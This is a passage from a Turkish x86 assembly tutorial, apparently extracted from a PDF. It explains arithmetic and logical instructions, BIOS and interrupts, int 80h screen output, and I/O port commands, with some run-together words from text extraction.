sbb ile çıkarma işlemi yapıldı ve 2 çıkarıldı. Normal şartlarda 253 - 2 = 251 olması gerekiyor
fakat işin içine carry flag de dahil oldu ve 253 - 2 - 1 = 250 oldu. Carry flag ise 0 değerini
aldı.
Aritmetiksel Komutlar - Çarpma(MUL-IMUL)
MUL ve IMUL ile gerçekleştirilir.
İşlemin özeti: mul değer1 -> 8 bit = AX=AL*değer1 , 16 bit=(DX AX) = AX*değer1
MUL ile Çarpma İşlemi
İşaretsiz(unsigned) sayılarda çarpma işlemi yapılırken kullanılır.
90. Bu örnekte görüldüğü üzere bl, al ile çarpılarak ax içerisine yerleştirildi.
16 bit'le işlem yapıldığında bulunan sonuş dx ax ikilisinde tutuluyordu. Burada sonuç direkt
ax içerisinde gözüküyor. DX, çarpma sonrasında oluşan genişleme değerini tutar. Herhangi
bir genişleme olmadığı için 0 durumundadır.
IMUL ile Çarpma İşlemi
İşaretli(signed) sayılarda çarpma işlemi yapılırken kullanılır.
bl değeri 2 iken 4 eksiliyor ve işaretli sayılarda -2 oluyor. Daha sonra al 5 oluyor. 5 * (-2) = -
10 cevabını buluyoruz.
91. Aritmetiksel Komutlar - Bölme(DIV-IDIV)
DIV ve IDIV ile gerçekleştirilir.
İşlemin özeti: div değer1 -> 8 bit = AL=AX / değer1 AH = Kalan (Mod)
16 bit = AX=(DX AX) / değer1 DX = Kalan (mod)
DIV ile Bölme İşlemi
İşaretsiz(unsigned) sayılarda bölme işlemi yapılırken kullanılır.
BL içerisindeki 5, AX içerisindeki 51 ile bölme işlemine tabii tutuldu. 51 / 5 = 10 kalan ise 1.
Buradaki örnekte gözüktüğü üzere elde edilen sonuç yani bölüm al'de kalan ise ah'de
görülmektedir.
IDIV ile Bölme İşlemi
İşaretli(signed) sayılarda bölme işlemi yapılırken kullanılır.
Özetle (-182) / 9 = (-20) kalan ise -2 burada kalan aynı şekilde AH içerisinde gösterilirken
bölüm AL içerisinde gösterilmiş
92. Mantıksal Komutlar - AND
Genelde maskeleme amacı ile kullanılmaktadır. İstenilen bitlerin yok edilmesi için kullanılır.
İşlemin özeti: and değer1, değer2 -> değer1 ile değer2 and işlemine tabi tutulur. Sonuç
değer1'de saklanır.
0 ve 1 mantığı ile ifade edilirse;
1 AND 1 = 1
1 AND 0 = 0
0 AND 1 = 0
0 AND 0 = 0
Bu örnekte yaptığımız işlemi açıklayacak olursak al'de bulunan 'e' değerinin binary karşılığı
01100101 bu değeri 11011111 ile and işlemine tabi tutarsak 01000101 sonucunu veriyor.
01000101 sonucu ise 'E' nin karşılığıdır.
Mantıksal Komutlar - OR
OR komutu AND ile benzerdir maskeleme işlemi için kullanılır. İstenilen bitlerin
korunmasını sağlar.
İşlemin özeti: or değer1, değer2 -> değer1 ile değer2 or işlemine tabi tutulur. Sonuç değer1'de
saklanır.
0 ve 1 mantığı ile ifade edilirse;
1 OR 1 = 1
1 OR 0 = 1
0 OR 1 = 1
0 OR 0 = 0
93. Bu örnekte yaptığımız işlemi açıklayacak olursak al'de bulunan 'E' değerinin binary karşılığı
01000101 bu değeri 00100000 ile or işlemine tabi tutarsak 01100101 sonucunu veriyor.
01100101 sonucu ise 'e' nin karşılığıdır. Yani and işlemine benzer bir işlemdir.
Mantıksal Komutlar - XOR
Seçilen bit'in tersini alır.
İşlemin özeti: xor değer1, değer2 -> değer1 ile değer2 xor işlemine tabi tutulur. Sonuç
değer1'de saklanır.
0 ve 1 mantığı ile ifade edilirse;
1 XOR 1 = 0
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
Bu örneği açıklayacak olursak al içerisindeki 01000101 binary değeri 01010011 binary değeri
ile xor işlemi uyguladık. Sonuç olarak 00010110 binary değerini elde ettik.
Mantıksal Komutlar - NOT
Bütün bitlerin tersini alır.
94. İşlemin özeti: not değer1 -> değer1 içerisinde bulunan değerlerin bitlerinin tersini alır.
0 ve 1 mantığı ile ifade edilirse;
1 NOT = 0
0 NOT = 1
al içerisindeki 42 hex değerini not işlemi uyguladık. 42 hex değerinin binary karşılığı
01000010 not işlemi uygulanmış hali ise 10111101 dir.
Mantıksal Komutlar - TEST
and işlemine tabi tutulur fakat herhangi bir yerde saklanmaz. Sadece bayraklar etkilenir.
İŞLETİM SİSTEMİ VE BIOS İLİŞKİSİ
Öncelikle BIOS ve işletim sistemi nedir sorularını tek tek ele alalım...
İşletim Sistemi Nedir?
İşletim sistemleri, tüm donanım birimlerinin ve uygulama yazılımlarının yönetim ve
denetimini sağlayan bir yazılımlar bütünüdür. İşletim sistemi bilgisayar donanımları ve
uygulama yazılımların arasında köprü görevi üstlenmektedir.
İşletim sistemlerine GNU/Linux, Windows, MacOs, Unix, Android, ios vb. örnekleri verilebilir.
İşletim sistemleri sadece kullandığımız bilgisayar, telefon, web sunucularında değil,
otomobillerde, kol saatlerinde ve akıllı ev sistemlerinde de bulunmaktadır.
İşletim Sisteminin Görevleri Nelerdir?
1.İşlem Yönetimi
İşletim sistemleri için önemli bir parçadır. İşletim sistemi mevcut kaynakları işlemlere göre
ayırır, veri aktarımı/paylaşımına uygun hale getirir, işlemin kaynağını diğer işlemlerden
korur ve en önemlisi senkronizasyonu sağlar. Özetle işlemlerin belirli bir sırada ve zamanda
95. uygulanmasını sağlar.
2.Bellek Yönetimi
Ana belleğin işlemler arasında paylaştırılması işlemidir. İşletim sistemlerinde bu amaç
doğrultusundan oluşturulmuş kesime ise bellek yöneticisi(Memory Manager) adı verilir.
Bellek yöneticisi belleğin dolu ve boş kısımlarını kontrol eder, işlemler için gerekli belleği
ayırır ve o işlem bitince bu belleği tekrar boşaltır.
3.Dosya Yönetimi
İşletim sisteminin bir diğer görevi ise içlerinde verilerin tutulduğu tüm dosyaların
yönetimidir. Bu dosyalara erişim, yazma, okuma, silme, değiştirme vs. tüm işlemleri
yönetmektedir.
4.Giriş Çıkış Birimleri Yönetimi
Bir bilgisayar üzerinden örnek verecek olursak, bilgisayar ile çevre birimleri(örnek: mouse)
arasındaki veri alış verişini denetler.
Bunların dışında donanım ile iletişimi sağlama, ağ yönetimi, kesmeler, bilgisayar güvenliği
vb. konular da işletim sisteminin görevleri arasında yer alır.
BIOS Nedir?
Basic Input-Output System, Türkçe olarak ifade edecek olursak Temel Giriş-Çıkış Sistemi
kısaca özetlenecek olursa, EPROM adı verilen yonganın üzerinde ROM Bellek biçiminde yer
alan bir tür yazılımdır. EPROM ve ROM Belleği kısaca açıklayalım.
EPROM
Erasable Programmable Read Only Memory, Türkçe olarak ifade edecek olursak Silinip
Programlanabilir Salt Okunur Bellek. Dov Frohman tarafından icat edilen bu bellek türü güç
kaynağı kapatıldığında bile üzerindeki veriyi saklayabilen bir tür bilgisayar hafıza
yongasıdır. Saklanan bu veriler kalıcıdır. Bir kere programlandıktan sonra sadece kuvvetli
mor ötesi ışığa maruz kaldığında silinebilir.
ROM Bellek
Read-only Memory, Türkçe olarak ifade edecek olursak sadece okunabilir bellek
Türkçesinden de anlaşılacağı üzere sadece üretim anında yazılan bir bellek türüdür. Ram
gibi yazılıp silinemez, kullanıcı kendi isteği doğrultusunda programlayamaz.
BIOS'un görevi bilgisayar ilk açıldığı anda işlemciye diğer tüm donanımları tanıtmak ve
donanımların temel iletişim protokollerini belirlemektir.
Ayrıca işletim sistemi başlangıç öğelerinin herhangi bir sürücüden (hard disk sürücüsü, CD-
ROM vb.) yüklenmesini sağlar.
İşletim Sistemi ve BIOS Arasındaki İlişki
Yukarıda da bahsettiğimiz gibi BIOS işletim sisteminin başlangıç öğelerini yüklemekteydi.
İşletim sistemi ile donanım arasındaki tüm bağımsız sürücülerin yönetimini BIOS üstlenir.
Donanım üreticileri, sürücüleri işletim sistemine özgü olarak çıkartır. İşletim sistemleri
farklı yapılarda çalışabilir. Varsayılan olarak Windows olan bir sistemde MacOS, aynı
96. şekilde varsayılan olarak MacOs olan bir sistemde Windows çalıştırılabiliyor. İşte tam bu
noktada farklı donanımları işletim sistemine tanıtan BIOS'dur.
ek olarak IRQ, IVT ve BDA bahsedecek olursak..
IRQ(Interrupts) Nedir?
Türkçe anlam karşılığı "kesme"dir. Kesme mikro işlemcinin üzerinde çalıştığı koda ara
vererek başka bir kodu çalıştırması işlemidir. Kesmeler makine dilinde yazılmış bir çeşit
fonksiyonlardır. Çağırılması için bir programlama diline ihtiyaç yoktur. Çağrılma
kaynaklarına göre 3 bölümde incelenir.
1.Yazılım Kesmeleri
İşlevsel olarak normal bir fonksiyon çağırmadan farkı yoktur. INT hh makine komutuyla
koda dahil edilirler.
2.Donanım Kesmeleri
Fonksiyonla değil de elektriksel yolla çağırılmaktadırlar. Mikro işlemci ve mikro
denetleyicinin donanın kesmesi için bir INT ucu vardır. INT ucu uyarıldığında(buradaki
uyarılmadan kasıt elektriksel olarak 5v uygulanması veya 0v uygulanması anlamına gelir)
mikro işlemci o an çalıştırdığı koda ara vererek başka bir kodu çalıştırmaya geçer. Sonuç
olarak donanım kesmelerinin oluşması dış etkenlere ve elektriksel olaylara bağlıdır. Bu
yolla donanım kesmesi oluşturulmasına IRQ (interrupt request) denir.
3.İçsel Kesmeler
Mikro işlemci bir kodu çalıştırırken problemle karşılaşması durumunda kendi kendisini
çağırdığı kesmelerdir.
Bir bilgisayarda toplam 16 IRQ hattı bulunmaktadır.(0-15) Normal şartlarda bir IRQ'yi
yalnızca bir aygıtın kullanması gerekir. Aksi durumda işlemci şaşırır.
IRQ 0: Sistem saati.
IRQ 1: Klavye
IRQ 2: Programlanabilir IRQ denetçisi. (Modemler, COM3 ve COM 4 portları)
IRQ 3: COM 2 portu (modemler, COM 4, ses ve ağ kartları, teyp yedekleme birimlerini
hızlandıran kartlar)
IRO 4: COM 1 portu (modemler, COM 4, ses ve ağ kartları, teyp yedekleme birimlerini
hızlandıran kartlar)
IRQ 5: Ses kartı (LPT2, LPT3 yani ikinci ve üçüncü paralel portlar COM 3, COM 4,
modemler, ağ kartları, MPEG kartları, teyp yedekleme birimlerini hızlandıran kartlar)
IRQ 6: Disket sürücü denetleyicisi (teyp yedekleme birimlerini hızlandıran kartlar)
IRQ 7: LPT1, yani ilk paralel port (LPT2, COM 3, COM 4, modemler, ağ kartları, ses kartları,
teyp yedekleme birimlerini hızlandıran kartları
IRQ 8: Gerçek zamanlı saat.
IRQ 9: (Ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, yeniden yönlendirilen IRQ2
aygıtları)
IRQ 10: (Ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, ikinci ve dördüncü IDE
kanalları)
IRQ 11: (Görüntü kartları, ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar, üçüncü ve
dördüncü IDE kanalları)
97. IRQ 12: PS/2 fare (Görüntü kartları, ağ kartları, ses kartları, SCSI kartları, PCI aygıtlar,
üçüncü IDE kanalı)
IRQ 13: FPU, yani matematik işlemci.
IRQ 14: Birinci IDE kanalı (SCSI kartlar)
IRQ 15: İkinci IDE kanalı (Ağ ve SCSI kartlar)
İntel sistemlerde kesmeler işlevlerine göre 3'e ayrılır.
BIOS KESMELERİ
1 mb adres alanının son 64 K'sıolan(F0000-FFFFF) EPROM içerisinde bulunan makine dilinde
yazılmış kodlardır. EPROM içerisindeki kesme kodlarının bulunduğu bölgeye BIOS denir.
Kodu burada bulunan kesmeler çeşitli kontrol kartlarının programlayarak işletim
sisteminden bağımsız çok temel işlemleri gerçekleştirmektedir. BIOS kesmeleri video,
aşağı seviyeli disk işlemleri, klavye işlemleri gibi işletim sistemine bile gereksinim
duymayan çok temel işlemleri gerçekleştirmektedir.
DOS KESMELERİ
DOS'un belleğe yüklenmesiyle yaratılırlar, bütün DOS işlemleri birtakım DOS kesmelerinin
çağırılmasıyla sağlanmaktadır. 21h numaralı kesme DOS'un temel bütün fonksiyonlarını
yerine getirmektedir.
ÖZEL KESMELER
Özel bazı programların belleğe yüklediği kesme kodlarıdır. Örneğin mouse işlemleri için 33h
kesmesi kullanılır (dos'ta). Ancak mouse.com programının yüklenmesiyle bu kesme kodları
belleğe yüklenir.
Interrupt Vector Table Nedir?
x86 mimarisinde Türkçe anlamı Kesme Vektör Tablosu(IVT) real modda kullanılan 256
interrupt işleyicisinin tümünün adreslerini belirten bir tablodur.
BDA - BIOS Data Area Nedir?
BIOS Data Area kısmen sanallaştırılmış real mode BIOS işlemleriyle ilgili alandır.
Kaynakça:
https://tr.wikipedia.org/wiki/İşletim_sistemi
https://tr.wikipedia.org/wiki/BIOS
https://docplayer.biz.tr/15248899-S...ek-baska-bir-kodu-calistirmasi-islemidir.html
https://wiki.osdev.org/Memory_Map_(x86)
EKRAN VE KLAVYE İŞLEMLERİ
Assambly Ekran ve Klavye İşlemleri
98. Bu haftaki konumuz x86 Assambly dilinde ekrana yazı yazdırma ve klavyeden veri girme
konusuna değineceyim. Konumuza geçmeden önce interrupt 80 için yapabileceğimiz
işlemlerin listesini ve seçeceğimiz işlemlerde registerlere hangi verileri girmemiz gerektiğinin
tablosunu vereceğim.
https://i.imgyukle.com/2021/04/27/OXsg38.png
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-
32_bit
32 bit içindir bu veriler tamamına linkten erişebilirsiniz.
Resimdede gördüğünüz gibi hangi registere ne değer atayabileceğimiz göstermektedir.
Burdaki işlemlerden birini kullanmak için ise eax registeri yazan kısımı kodumuza eklememiz
gerekiyor.
Ekrana yazı yazdırma ile başlayalım. Çok meşhur olan Hello Word örneği ile başlamasak
olmazdı. :)
https://i.imgyukle.com/2021/04/27/OXsioj.png
section .data bölümü ile başlayacak olursak ekrana verme kısmını daha iyi anlamak adına.
Gördüğünüz gibi msg nin içine Hello word yazısı atılmış bunu db ile ve tırnak işaretleri içine
alarak bu değeri string bir değer olarak atadığını düşünebiliriz.
Len equ $-msg de ise mesajın uzunluğunu len değerine eşitlemiştir. Bu uzunluk ne için önemli
99. diyecek olursak hafızada ona göre yer ayıracağı için.
Şimdi asıl işlemlerin döndüğü noktaya dönelim.
https://i.imgyukle.com/2021/04/27/OXssLo.png
ilk vermiş olduğum kaynakcaya bakacak olursa ekrana yazı yazdırmak için mesajın
uzunluğunu edx ‘e yazmamız gerekiyor mesajımıızı ecx ‘e yollamamız gerekiyor. Çıkışın
nereye gideceğini belirlemek için ise ebx belitmemiz gerekiyor ekrana vereceğimiz için 1
değerini veriyoruz.
Eax registerimizede hangi işlemi yapacaksak interreput 80 için onun kodunu yazıyoruz
çıkış yapma işlemi içinde gördüğünüz gibi eax değerine 1 atadık.
Ek olarak da ekran modlarının kısaca örneklerndireceğim.
40*25 lik bir ekran açtırmak istiyorsak
https://i.imgyukle.com/2021/04/27/OXsGxA.png
80*25 lik bir ekran açtırmak istiyorsak
101. https://i.imgyukle.com/2021/04/27/OXs1Qf.png
şimdi ise inceleyeceğimiz kod bir hesap makinasına ait ve parça parça diğineceğiz.
En üste kırmızı ile başlarını çizdiğim yerleri yapmanızı öneririm eax değerine yazacağınız
sayıyı ezberlemek yerine amacını belirten kelimelere eşitleyerekte kullanabilirsiniz.
Segment .data kısmı bir yere yazı yazdırmada kullandığımız işlemler mesajın atanması ve
uzunluğunun hesaplanması
segment .bss ise değişkenler alarak düşünebiliriz. Örnek verecek olursak c dilinde ( int
a,b,c )diye oluşturduğumuz değişkenlere benzetebiliriz.
103. ilk girilen sayısal verinin ASCII değeri sıfırdan çıkarılıyor aynısı 2. içinde yapılıyor bizde bu
işlemi gerçekleştirecek olursak.
1. girilen değer 2
2. girilen değer 3
1. değerin ASCII değerini Sıfırın ASCII değerinden çıkar ( 32-30 = 2 )
2. değerin ASCII değerini Sıfırın ASCII değerinden çıkar ( 33-30 = 3 )
ilk adımda bunları gerçekleştiriyor 1. değer eax e kaydoluyor 2. değer de ebx e sonra bunları
topluyor add komutu ile.
Sonucun 5 olduğunu biliyoruz ancak assembly bize bu bilgiyi ekrana yazdırması için ASCII
karşılığına ihtiyaç duymaktadır. Bu yuzden eax değerine sıfırın ASCII karşılığı olan 30 ile
topluyor sonucuda (res) değişkenine atıyor. Şimdi ekranda yazdırılabilecek durumda :)
sonraki işlemde gördüğünüz gibi res geğerini ekrana yazdırma rituelini gerçekleştiriyor ve
yazdırdıktan sonra çıkış işlemi ile programı sonlandırıyor.
TEMEL GİRİŞ ve ÇIKIŞ TEKNİKLERİ
Merhabalar.Bu konumuzdaAssemblyilegirişve çıkışişlemlerinedeğineceğim.Girişve çıkış
komutlarınıinceleyeceğiz.
Inputve Outputyani kısaca I/Okomutlarıverilerinmikroişlemci-portarasındaki aktarımilişkisini
sağlamaktadır.
Verilergirişportundanalınırsaverininboyutunagöre işlemcimimarisineuygunregisterlardanalınır.
Yani 8 bitlikveri Al,16 bitAX,32 bit EAXregisterlarınaalınır.Verilerçıkışportunagönderilecekseyine
uygunregisterlaraalındıktansonraçıkış portunagönderilir.
Burada bahsi geçenportkavramını açıklamak gerekirse sistemindışdünyaylailişkisini kurankapı
numaraları gibi düşünebiliriz.Mikroişlemcilerimizgirişçıkışişlemlerindebellekharitalıve yalıtılmış
girişçıkış işlemlerini kullanırlar.Girişçıkışişlemlerindeki portadresleri statikve dinamikformatlarda
tanımlanabilir.Statikadreslemede A7ve A0hatlarına yerleşilir0-255 arası değeralınır. Dinamik
adreslemede adreslerDXkaydedicisinealınır0 ile 65535 arasında toplamda65536 port
tanımlanabilir.BudaadresyolundaA0 ile A15 hatlarınıntamamını kapsar.
Temel teorikbilgilerdensonrabirkaçAssemblykoduinceleyelim.
OUT instruction
OUT, bir bağlantınoktasınabyte yani 8bit veyaWord yani 16bitlikverileriçıktılar.AL ve AX
kaydedicilerini kullanır.
OUT 3BH, AL
AL kaydedicisininiçeriğini3BHbağlantınoktası adresine kopyalar.